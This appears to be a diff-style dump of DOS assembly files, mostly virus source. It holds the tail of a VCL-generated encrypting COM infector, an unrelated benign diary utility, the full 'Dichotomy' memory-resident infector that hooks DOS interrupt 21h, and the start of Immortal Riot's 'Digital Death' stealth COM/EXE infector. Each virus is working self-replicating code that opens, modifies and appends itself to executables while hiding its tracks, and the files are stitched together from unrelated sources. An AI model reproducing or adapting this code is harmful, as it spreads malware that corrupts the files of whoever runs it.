jmp short uncrunch_done ; Leave this routine
foreground: cmp al,16 ; Are we changing the foreground?
jnb background ; If not, check the background
and ah,0F0h ; Strip off old foreground
or ah,al ; Put the new one on
jmp short next ; Resume looping
background: cmp al,24 ; Are we changing the background?
je next_line ; If AL = 24, go to next line
jnb flash_bit_toggle ; If AL > 24 set the flash bit
sub al,16 ; Change AL to a color number
add al,al ; Crude way of shifting left
add al,al ; four bits without changing
add al,al ; CL or wasting space. Ok,
add al,al ; I guess.
and al,08Fh ; Strip off old background
or ah,al ; Put the new one on
jmp short next ; Resume looping
next_line: add dx,160 ; Skip a whole line (80 chars.
mov di,dx ; AND 80 attribs.)
jmp short next ; Resume looping
flash_bit_toggle: cmp al,27 ; Is it a blink toggle?
jb multi_output ; If AL < 27, it's a blinker
jne next ; Otherwise resume looping
xor ah,128 ; Toggle the flash bit
jmp short next ; Resume looping
multi_output: cmp al,25 ; Set Zero flag if multi-space
mov bx,cx ; Save main counter
lodsb ; Get number of repititions
mov cl,al ; Put it in CL
mov al,' ' ; AL holds a space
jz start_output ; If displaying spaces, jump
lodsb ; Otherwise get character to use
dec bx ; Adjust main counter
start_output: xor ch,ch ; Clear CH
inc cx ; Add one to count
rep stosw ; Display the character
mov cx,bx ; Restore main counter
dec cx ; Adjust main counter
loopnz loopa ; Resume looping if not done
uncrunch_done: pop es ; Restore ES
pop di ; Restore DI
end00: call search_files ; Find and infect a file
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
mov bx,di ; BX points to the virus
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,135 ; Allocate 135 bytes on stack
mov byte ptr [bp - 135],'\' ; Start with a backslash
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 134] ; SI points to 64-byte buffer
int 021h
call traverse_path ; Start the traversal
traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful?
je done_searching ; If so then we're done
call found_subdir ; Otherwise copy the subdirectory
mov ax,cs ; AX holds the code segment
mov ds,ax ; Set the data and extra
mov es,ax ; segments to the code segment
xor al,al ; Zero AL
stosb ; NULL-terminate the directory
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 70] ; DX points to the directory
int 021h
lea dx,[bx + com_mask] ; DX points to "*.COM"
push di
mov di,bx
call find_files ; Try to infect a .COM file
mov bx,di
pop di
jnc done_searching ; If successful the exit
jmp short traversal_loop ; Keep checking the PATH
done_searching: mov ah,03Bh ; DOS change directory function
lea dx,[bp - 135] ; DX points to old directory
int 021h
cmp word ptr [bx + path_ad],0 ; Did we run out of directories?
jne at_least_tried ; If not then exit
stc ; Set the carry flag for failure
at_least_tried: mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
com_mask db "*.COM",0 ; Mask for all .COM files
search_files endp
traverse_path proc near
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
xor di,di ; DI holds the starting offset
find_path: lea si,[bx + path_string] ; SI points to "PATH="
lodsb ; Load the "P" into AL
mov cx,08000h ; Check the first 32767 bytes
repne scasb ; Search until the byte is found
mov cx,4 ; Check the next four bytes
check_next_4: lodsb ; Load the next letter of "PATH="
scasb ; Compare it to the environment
jne find_path ; If there not equal try again
loop check_next_4 ; Otherwise keep checking
mov word ptr [bx + path_ad],di ; Save the PATH address
mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment
ret ; Return to caller
path_string db "PATH=" ; The PATH string to search for
path_ad dd ? ; Holds the PATH's address
traverse_path endp
found_subdir proc near
lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH
lea di,[bp - 70] ; DI points to the work buffer
push cs ; Transfer CS into ES for
pop es ; byte transfer
move_subdir: lodsb ; Load the next byte into AL
cmp al,';' ; Have we reached a separator?
je moved_one ; If so we're done copying
or al,al ; Are we finished with the PATH?
je moved_last_one ; If so get out of here
stosb ; Store the byte at ES:DI
jmp short move_subdir ; Keep transfering characters
moved_last_one: xor si,si ; Zero SI to signal completion
moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address
ret ; Return to caller
found_subdir endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
get_weekday proc near
mov ah,02Ah ; DOS get date function
int 021h
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_weekday endp
data00 DB 15,16,24,24,24,24,24,24,25,3,12,'ÒÄÄ¿ ÖÄÄ¿ ÖÄÒÄ¿ ÖÄ'
DB 'ÒÄ¿ Ò Â ÒÄÄ¿ ÄÒÄ ÖÄÄ¿ ÒÄÄ¿ ÒÄÄ¿ Ò Â ÒÄÄ¿ ÖÄÄ¿ Ò',24
DB 25,3,'ÇÄ',25,2,'ÇÄÄ´',25,2,'º',25,3,'º º ³ ÓÄÄ´ º '
DB '³ º ÇÄÄ´ ÇÄÂÙ ÇÄÂÙ ÇÄÄ´ ÇÄ',25,2,'ÇÄÄ´ º',24,25,3,'Ð'
DB 'ÄÄÙ Ð Á',25,2,'Ð',25,3,'Ð Ð Á ÓÄÄÙ ÐÄÄÙ ÄÐÄ Ð Á '
DB 'Ð Á Ð Á Ð Á ÐÄÄÙ Ð Á o',24,25,19,14,'-GG Allin '
DB '& The Texas Nazis',24,24,24,24,24,24,24,24,24,24,24,24
DB 24,24,24,24
vcl_marker db "[VCL]",0 ; VCL creation marker
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
+499
View File
@@ -0,0 +1,499 @@
; +---------------------------------------------------+ ;
; | Sample program DIARY for use with Magic Assembler | ;
; +---------------------------------------------------+ ;
mov ah,09
mov dx,offset(headtxt)
int 21
cmp byte [0081],0d
jne @1
mov dx,offset(syntax)
jmp error
@1 cmp byte [0082],'A'
je @2
cmp byte [0082],'a'
je @2
cmp byte [0082],'!'
jne @10
jmp @f
@10 cmp byte [0082],'D'
je @1a
cmp byte [0082],'d'
je @1a
jmps @1b
@1a jmp @1d
@1b cmp byte [0082],'O'
je @1e
cmp byte [0082],'o'
je @1e
jmps @29
@1e jmp @1f
@29 cmp byte [0082],'S'
je @2c
cmp byte [0082],'s'
je @2c
jmps @2d
@2c jmp @2e
@2d mov dx,offset(unpar)
jmp error
; Add item
@2 mov ah,3c
mov cx,0020
mov dx,offset(tempnam)
int 21
mov thandle,ax
mov ax,3d00
mov dx,offset(datanam)
int 21
jc @3
;Copy the data
mov bx,ax
@5 mov ah,3f
mov cx,0003
mov dx,offset(date)
int 21
cmp ax,cx
jne @4
mov ah,3f
mov cx,0001
mov dx,offset(tsize)
int 21
mov ah,3f
mov ch,0
mov cl,tsize
mov dx,offset(txt)
int 21
push bx
mov ah,40
mov bx,thandle
mov ch,00
mov cl,tsize
add cx,0004
mov dx,offset(date)
int 21
pop bx
jmps @5
;Close and delete DIARY.DAT
@4 mov ah,3e
int 21
mov ah,41
mov dx,offset(datanam)
int 21
;Ask for data
@3 mov ah,09
mov dx,offset(askdate)
int 21
@9 call readdat
mov ah,09
mov dx,offset(message)
int 21
mov tsize,00
mov di,offset(txt)
@e mov ah,00
int 16
cmp al,0d
je @c
cmp al,08
jne @d
cmp tsize,00
je @e
mov ah,09
mov dx,offset(bs)
int 21
dec di
dec tsize
jmps @e
@d inc tsize
stosb
mov ah,0e
mov bx,0007
int 10
jmps @e
;End of lineread
@c mov ah,40
mov bx,thandle
mov ch,00
mov cl,tsize
add cx,0004
mov dx,offset(date)
int 21
mov ah,3e
int 21
mov ah,56
mov dx,offset(tempnam)
mov di,offset(datanam)
int 21
int 20
;Look for warning
@f mov ah,2a
int 21
sub cx,076c
mov byte [offset(cdate)],dl
mov byte [offset(cdate)+1],dh
mov byte [offset(cdate)+2],cl
@1c mov ax,3d00
mov dx,offset(datanam)
int 21
jnc @11
mov dx,offset(datanf)
jmp error
@11 push ax
mov ah,3c
mov cx,0020
mov dx,offset(tempnam)
int 21
mov thandle,ax
pop ax
mov bx,ax
@19 mov ah,3f
mov cx,0003
mov dx,offset(date)
int 21
cmp ax,cx
jne @12
mov ah,3f
mov cx,0001
mov dx,offset(tsize)
int 21
mov ah,3f
mov ch,00
mov cl,tsize
mov dx,offset(txt)
int 21
mov si,offset(cdate)
mov di,offset(date)
mov cx,0003
@13 cmpsb
jne @14
loop @13
call delit
cmp al,01
jne @14
jmps @19
@14 push bx
mov ah,40
mov bx,thandle
mov ch,00
mov cl,tsize
add cx,0004
mov dx,offset(date)
int 21
pop bx
jmps @19
;End of file
@12 mov ah,3e
int 21
mov ah,41
mov dx,offset(datanam)
int 21
mov ah,3e
mov bx,thandle
int 21
mov ah,56
mov dx,offset(tempnam)
mov di,offset(datanam)
int 21
int 20
;Delete item
@1d mov ah,09
mov dx,offset(wdel)
int 21
call readdat
mov si,offset(date)
mov di,offset(cdate)
mov cx,0003
@3c movsb
loop @3c
jmp @1c
;Delete old dates
@1f mov ah,2a
int 21
mov bx,offset(cdate)
mov [offset(cdate)],dl
mov [offset(cdate)+1],dh
sub cx,076c
mov [offset(cdate)+2],cl
mov ax,3d00
mov dx,offset(datanam)
int 21
jnc @21
mov dx,offset(datanf)
jmp error
@21 push ax
mov ah,3c
mov cx,0020
mov dx,offset(tempnam)
int 21
mov thandle,ax
pop bx
@25 mov ah,3f
mov cx,0003
mov dx,offset(date)
int 21
cmp ax,cx
jne @22
mov ah,3f
mov cx,0001
mov dx,offset(tsize)
int 21
mov ah,3f
mov ch,00
mov cl,tsize
mov dx,offset(txt)
int 21
mov si,offset(date)+2
mov di,offset(cdate)+2
mov cx,0003
@23 std
cmpsb
cld
ja @20
jb @24
loop @23
@24 call delit
cmp al,01
je @25
;Still future
@20 push bx
mov ah,40
mov bx,thandle
mov ch,00
mov cl,tsize
add cx,0004
mov dx,offset(date)
int 21
pop bx
jmps @25
;End of file
@22 mov ah,3e
int 21
mov ah,3e
mov bx,thandle
int 21
mov ah,41
mov dx,offset(datanam)
int 21
mov ah,56
mov dx,offset(tempnam)
mov di,offset(datanam)
int 21
int 20
;Show dates
@2e mov ax,3d00
mov dx,offset(datanam)
int 21
jnc @2f
mov dx,offset(datanf)
jmp error
@2f mov bx,ax
@3b mov ah,3f
mov cx,0003
mov dx,offset(date)
int 21
cmp ax,cx
jne @30
mov ah,3f
mov cx,0001
mov dx,offset(tsize)
int 21
mov cl,tsize
mov ch,00
mov ah,3f
mov dx,offset(txt)
int 21
mov si,ax
mov byte [offset(txt)+si],'$'
mov al,date
call shownum
push bx
mov ah,09
mov dx,offset(slash)
int 21
mov al,[offset(date)+01]
call shownum
mov ah,09
mov dx,offset(slash)
int 21
mov al,[offset(date)+02]
call shownum
mov ah,09
mov dx,offset(space)
int 21
mov ah,09
mov dx,offset(txt)
int 21
mov ah,09
mov dx,offset(crlf)
int 21
pop bx
jmps @3b
@30 mov ah,3e
int 21
int 20
delit push bx
mov al,date
call shownum
mov ah,09
mov dx,offset(slash)
int 21
mov al,[offset(date)+01]
call shownum
mov ah,09
mov dx,offset(slash)
int 21
mov al,[offset(date)+02]
call shownum
mov ah,09
mov dx,offset(space)
int 21
mov bh,00
mov bl,tsize
mov byte [offset(txt)+bx],'$'
pop bx
mov ah,09
mov dx,offset(txt)
int 21
mov ah,09
mov dx,offset(delete)
int 21
call flag
push ax
mov ah,09
mov dx,offset(crlf)
int 21
pop ax
ret
error mov ah,09
int 21
int 20
flag push bx
@16 mov ah,00
int 16
mov ah,0e
mov bx,0007
int 10
cmp al,'Y'
je @15
cmp al,'y'
je @15
cmp al,'N'
je @17
cmp al,'n'
je @17
mov ah,09
mov dx,offset(bs)
int 21
jmps @16
@15 mov al,01
jmps @18
@17 mov al,00
@18 pop bx
ret
readdat mov di,offset(date)
@2a call readnum
cmp al,1f
jna @a
mov ah,09
mov dx,offset(backerr)
int 21
jmps @2a
@a stosb
mov ah,09
mov dx,offset(slash)
int 21
@2b call readnum
cmp al,0c
jna @8
mov ah,09
mov dx,offset(backerr)
int 21
jmps @2b
@8 stosb
mov ah,09
mov dx,offset(slash)
int 21
call readnum
stosb
mov ah,09
mov dx,offset(crlf)
int 21
ret
;AL=NUMBER
shownum push ax
push bx
mov ah,00
mov bl,0a
div bl
cmp al,00
je @31
push ax
mov ah,0e
add al,30
mov bx,0007
int 10
pop ax
@31 mov al,ah
add al,30
mov ah,0e
mov bx,0007
int 10
pop bx
pop ax
ret
readnum mov ah,00
@6 int 16
cmp al,30
jb @6
cmp al,39
ja @6
mov ah,0e
mov bx,0007
int 10
sub al,30
mov bl,0a
mul bl
mov bl,al
mov ah,00
@7 int 16
cmp al,30
jb @7
cmp al,39
ja @7
mov ah,0e
push bx
mov bx,0007
int 10
pop bx
sub al,30
add al,bl
ret
backerr db 07 08 08 '$'
bs db 08 20 08 '$'
crlf db 0a 0d '$'
datanam db 'DIARY.DAT' 00
datanf db 'DIARY.DAT not found' 0a 0d '$'
delete db 0a 0d 'Delete this entry? $'
askdate db 'Enter date (DD/MM/YY): $'
headtxt db 'Diary - Written by Bert Greevenbosch for Magic Software' 0a 0d
db 'Public Domain Version' 0a 0d '$'
message db 'Enter message to display on that date: $'
slash db '/$'
space db ' $'
syntax db 0a 0d 'Syntax: DIARY [A/D/O/S/!]' 0a 0a 0d 'A = Add' 0a 0d 'D = Delete' 0a 0d 'O = Delete all decayed dates' 0a 0d 'S = Show all dates' 0a 0d '! = Warn' 0a 0d '$'
tempnam db 'DIARY.TMP' 00
unpar db 'Unknown parameter' 0a 0d '$'
wdel db 'Enter date to delete from (DD/MM/YY): $'
-
cdate ds 3
thandle dw ?
;the record
date ds 3
tsize db ?
txt ds 100
@@ -0,0 +1,339 @@
; Dichotomy Virus
; (c) 1994 Evil Avatar
;
; TASM /M3 DIKOTOMY
; TLINK /X DIKOTOMY
; EXE2BIN DIKOTOMY DIKOTOMY.COM
.model tiny
.code
org 0
;=====( Entry point for COM files )========================================
Dichotomy:
call delta
delta: mov bx, sp
mov bp, word ptr ds:[bx]
sub bp, offset delta ;get delta offset
inc sp
inc sp
cmp word ptr ds:[bp+virus1], 'D['
mov ah, 1ah
lea dx, [bp+newDTA] ;buffer for new DTA
int 21h ;set new disk transfer address
mov ah, 4eh
mov cx, 7 ;any attribute
lea dx, [bp+FileName] ;host name
int 21h ;find second host file
jc maybe_host ;if carry, then we need a new host
mov ax, 3d00h
int 21h ;open second host
xchg ax, bx ;handle is better in bx
mov ax, 4200h
sub cx, cx
mov dx, word ptr ds:[bp+newDTA+1ah]
sub dx, (offset heap-offset loader2)
int 21h ;move pointer to virus code
mov ah, 3fh
mov cx, (offset heap-offset loader2)
lea dx, [bp+loader2]
int 21h ;read in second part of virus
mov ah, 3eh
int 21h ;close the file
maybe_host:
mov ah, 51h
int 21h ;check if resident
inc bx ;if resident, PSP should be -1
jz resident ;yes? kewl!
cmp word ptr ds:[bp+virus1], 'D[' ;check if we are fully here
je go_res ;yes? we need to go resident
return: mov ah, 1ah
mov dx, 80h
int 21h ;restore DTA
lea si, [bp+comfix] ;offset of first 3 bytes of file
mov di, 100h ;start of .com file
mov ax, di
push ax
movsw
movsb
retn
resident: cmp word ptr ds:[bp+virus1], 'D[' ;is the second host here?
je return ;yes? return to program
mov ah, 62h
int 21h ;request new host
jmp return ;return to host
go_res: jmp loader2 ;go memory resident
;=====( Variables )========================================================
comfix db 0cdh, 20h, 0 ;first 3 bytes of .com file
virus db '[Dichotomy]', 0 ;virus name
author db '(c) 1994 Evil Avatar', 0 ;me
FileName db 'DIKOTOMY.COM', 0, 73h dup (?) ;second host name
loader1_end:
;=====( Go memory resident )===============================================
loader2:
mov byte ptr ds:[bp+count], 0 ;infections = 0
mov ah, 'E'
xor ah, 0fh
mov bx, -1
int 21h ;get available memory
mov ah, 'A'
xor ah, 0bh
sub bx, (virus_end-Dichotomy+15)/16+1
int 21h ;create a hole in memory
mov ax, 3521h
int 21h ;get int 21h handler
mov word ptr [bp+save21], bx
mov word ptr [bp+save21+2], es ;save int 21h vector
mov ah, 'E'
xor ah, 0dh
mov bx, (virus_end-Dichotomy+15)/16
int 21h ;allocate the memory
mov es, ax ;es is high virus segment
mov cx, (virus_end-Dichotomy+1)/2
lea si, [bp+Dichotomy]
sub di, di
rep movsw ;copy ourself up there
push es
pop ds ;save virus seg for int 21h change
dec ax ;MCB segment
mov es, ax
mov word ptr es:[1], 8 ;make DOS the owner of our segment
mov ax, 4541h
sub ax, 2020h
lea dx, [int21]
int 21h ;set new int 21h handler
push cs cs
pop ds es ;restore PSP segments
jmp return ;return to host
;=====( Find a new host )==================================================
request: push ds di si cx cs
pop ds ;save registers
mov di, bp ;set up scan registers
sub si, si
mov cx, 5
repe cmpsw ;scan to see if it is us
jne restore1 ;no? let dos take care of it
mov ax, 4300h
lea dx, [WhatRun]
int 21h ;get attributes of file
push cx ;save them
mov ax, 4301h
sub cx, cx
int 21h ;clear attributes
mov ax, 3d02h
int 21h ;open file read/write
xchg ax, bx
mov ax, 5700h
int 21h ;get file date/time
and cx, 1fh ;get seconds
cmp cx, 1fh ;is it 62?
je cant_fix ;can't fix this file
mov ax, 4202h
sub cx, cx
cwd
int 21h ;go to end of file
mov ah, 40h
mov cx, (heap-loader2)
lea dx, [loader2]
int 21h ;copy to end of file
mov ax, 5700h
int 21h ;get file date/time
or cx, 1fh
mov ax, 5701h
int 21h
cant_fix: mov ax, 4301h
pop cx ;get attributes
int 21h ;restore attributes
mov ah, 3eh
int 21h ;close file
restore1: pop cx si di ds ;restore registers
jmp dos21 ;go to dos
;=====( Interrupt 21h handler )============================================
int21: inc ah
cmp ah, 4ch ;execute file
je infect ;infect it
dec ah
cmp ah, 51h ;install check
je install_check
cmp ah, 62h ;request for new host
je _request
dos21: jmp dword ptr cs:[save21] ;call dos
_request: jmp request
;=====( Installation check )===============================================
install_check:
push di si cx ds cs
pop ds ;save registers
mov di, bp ;set up scan registers
sub si, si
mov cx, 5
repe cmpsw ;scan to see if it is us
jne restore ;no? let dos take care of it
mov bx, -1 ;return code
pop ds ;restore ds
add sp, 6 ;fix stack
iret ;return
restore: pop cx si di ds ;restore registers
jmp dos21 ;go to dos
;=====( Infection routine )================================================
infect: dec ah
call push_all ;save registers
push cs
pop es ;es equals code segment
mov si, dx
lea di, [WhatRun]
mov cx, 40h
rep movsw ;save filename in buffer
mov si, dx ;ds:si equals file name
lea di, [FileName]
mov ax, 4300h
int 21h ;get attributes of file
push cx ;save them
mov ax, 4301h
sub cx, cx
int 21h ;clear attributes
mov ax, 3d02h
int 21h ;open file read/write
xchg ax, bx ;put handle in bx
mov ax, 5700h
int 21h ;get file time/date
and cx, 1fh ;get seconds
cmp cx, 1eh ;is 60 or 62?
jae already_inf ;then already infected
lodsb ;get drive letter
dec si ;point to filename again
and al, 5fh ;make it uppercase
cmp al, 'C' ;is it C or higher?
jb _single ;no? we must fully infect it
cmp byte ptr cs:[count], 1 ;have we already done loader 2?
jne do_loader2 ;yes? start doing loader 1s
do_loader1:
call inf_loader1
jmp done_inf
do_loader2:
call inf_loader2
jmp done_inf
_single: push si di
mov cx, 40h
rep movsw ;save filename in buffer
pop di si
call inf_loader1
call inf_loader2
mov byte ptr cs:[count], 0
done_inf: mov ah, 3eh
int 21h ;close file
already_inf:
mov ax, 4301h
pop cx ;get attributes
int 21h ;restore attributes
call pop_all ;restore registers
jmp dos21 ;call dos
;=====( Infect file with loader 1 )========================================
inf_loader1:
push si di ds dx cs ;save filename and other stuff
pop ds
mov byte ptr ds:[count], 0 ;do loader 2 from now on
mov ah, 3fh
mov cx, 3
lea dx, [comfix]
int 21h ;read in first 3 bytes
mov ax, 4202h
sub cx, cx
cwd
int 21h ;go to end of file
or dx, dx
jnz bad_file
cmp ax, 65024-(virus_end-Dichotomy) ;see if file is too big
jae bad_file
mov cx, word ptr ds:[comfix]
cmp cx, 'M'+'Z'
jz bad_file ;can't infect .exe's
sub ax, 3 ;calculate jump
mov word ptr ds:[buffer], ax ;set up jump
mov ah, 40h
mov cx, (loader1_end-Dichotomy)
cwd
int 21h ;copy virus to end of file
mov ax, 4200h
sub cx, cx
cwd
int 21h ;go to beginning of file
mov ah, 40h
mov cx, 3
lea dx, [buffer-1]
int 21h ;copy jump to beginning
mov ax, 5700h
int 21h ;get file time/date
mov ax, 5701h
or cx, 1eh
and cx, 0fffeh ;set to 60 seconds
int 21h ;set new file time
bad_file: pop dx ds di si
retn
;=====( Infect file with loader 2 )========================================
inf_loader2:
push ds dx ;save file name
mov cx, 40h
rep movsw ;save filename in buffer
push cs
pop ds ;ds needs to be code segment
mov byte ptr ds:[count], 1 ;do loader 1 from now on
mov ax, 4202h
sub cx, cx
cwd
int 21h ;go to end of file
mov ah, 40h
mov cx, (heap-loader2)
lea dx, [loader2]
int 21h ;copy to end of file
mov ax, 5700h
int 21h ;get file date/time
or cx, 1fh ;set to 62 seconds
mov ax, 5701h
int 21h ;set new file time
pop dx ds ;restore file name
retn ;return to caller
;=====( Push all registers )===============================================
push_all: pop word ptr cs:[p_all] ;save return code
push ax bx cx dx bp si di ds es ;save registers
pushf ;save flags
jmp word ptr cs:[p_all] ;return to caller
;=====( Pop all registers )================================================
pop_all: pop word ptr cs:[p_all] ;save return code
popf ;restore flags
pop es ds di si bp dx cx bx ax ;restore registers
jmp word ptr cs:[p_all] ;return to caller
;=====( More variables )===================================================
virus1 db '[Dichotomy]', 0 ;virus signature
db 0e9h ;jump cs:xxxx
heap:
buffer dw ? ;jump buffer
newDTA db 2bh dup (?) ;replacement disk transfer address
save21 dd ? ;interrupt 21h vector
p_all dw ? ;push/pop return value
count db ? ;infection count
WhatRun db 80h dup (?)
virus_end:
end Dichotomy
@@ -0,0 +1,526 @@
; ------------------------------------------------------------------------------
;
; - Digital Death -
; Created by Immortal Riot's destructive development team
; (c) 1994 Raver/Immortal Riot
;
;-------------------------------------------------------------------------------
; þ Memory Resident Stealth Infector of COM/EXE programs þ
;-------------------------------------------------------------------------------
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; DIGITAL DEATH - ver 0.90á
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
cseg segment byte public 'code'
assume cs:cseg, ds:cseg
org 100h
vir_size equ end_of_virus-start_of_virus
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Non-resident Install code
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
start_of_virus:
call get_delta
get_delta: ;get the delta offset
mov di,sp
mov bp,word ptr ss:[di]
sub bp,offset get_delta
push cs
pop ds
call encrypt_decrypt ;decrypt virus
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Start of encrypted area
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
install_code:
mov ax,es ;restore segments now due to prefetch!!
add ax,10h
add word ptr cs:[bp+EXEret+2],ax
add word ptr cs:[bp+EXEstack],ax
push es
mov ax,7979h ;check if already in mem
int 21h
cmp ax,'iR'
je already_resident
mov ah,4ah ;get #of available paragraphs in bx
mov bx,0ffffh
int 21h
sub bx,(vir_size+15)/16+1 ;recalculate and
mov ah,4ah
int 21h
mov ah,48h ;allocate enough mem for virus
mov bx,(vir_size+15)/16
int 21h
jc already_resident ;exit if error
dec ax ;ax-1 = MCB
mov es,ax
mov word ptr es:[1],8 ;Mark DOS as owner
push ax ;save for later use
mov ax,3521h ;get interrupt vector for int21h
int 21h
mov word ptr ds:[OldInt21h],bx
mov word ptr ds:[OldInt21h+2],es
pop ax ;ax = MCB for allocated mem
push cs
pop ds
cld ;cld for movsw
sub ax,0fh ;es:[100h] = start of allocated mem
mov es,ax
mov di,100h
lea si,[bp+offset start_of_virus]
mov cx,(vir_size+1)/2 ;copy entire virii to mem
rep movsw
push es
pop ds
mov dx,offset new_int21h ;hook int21h to new_int21h
mov ax,2521h
int 21h
already_resident:
push cs
push cs
pop es
pop ds
cmp byte ptr [bp+COMflag],1 ;check if COM or EXE
jne exit_EXE
